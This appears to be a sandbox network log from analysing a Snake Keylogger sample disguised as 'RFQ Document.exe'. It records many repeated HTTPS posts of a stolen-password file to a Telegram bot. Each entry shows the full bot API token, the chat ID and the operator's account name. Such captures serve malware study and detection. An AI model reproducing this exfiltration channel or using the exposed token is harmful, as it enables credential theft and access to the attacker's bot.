{"ok":true,"result":{"message_id":12655,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808717,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.4	49850	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:37 UTC	118	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cbf3540f Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:37 UTC	118	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 62 66 33 35 34 30 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cbf3540fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:37 UTC	119	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:37 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:37 UTC	119	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 35 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12657,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808717,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.4	49851	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:37 UTC	120	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cc08cab5 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:37 UTC	120	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 63 30 38 63 61 62 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cc08cab5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:37 UTC	120	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:37 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:37 UTC	121	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 35 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12658,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808717,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.4	49852	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:37 UTC	121	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cc20a359 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:37 UTC	121	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 63 32 30 61 33 35 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cc20a359Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:38 UTC	122	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:38 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:38 UTC	122	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 35 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12659,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808718,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.4	49853	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:38 UTC	123	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cc403d3d Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:38 UTC	123	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 63 34 30 33 64 33 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cc403d3dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:38 UTC	123	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:38 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:38 UTC	124	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 36 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12660,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808718,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.4	49854	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:38 UTC	124	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cc65c603 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:38 UTC	125	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 63 36 35 63 36 30 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cc65c603Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:38 UTC	125	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:38 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:38 UTC	125	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 36 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12661,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808718,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.4	49855	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:38 UTC	126	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cc7b3b50 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:38 UTC	126	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 63 37 62 33 62 35 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cc7b3b50Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:38 UTC	127	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:38 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:38 UTC	127	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 36 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12662,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808718,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49782	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:22 UTC	12	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c2ce142c Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:22 UTC	12	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 32 63 65 31 34 32 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c2ce142cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:22 UTC	13	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:22 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:22 UTC	13	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 35 38 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12587,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808702,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.4	49856	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:38 UTC	128	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cc9a3987 Host: api.telegram.org Content-Length: 407
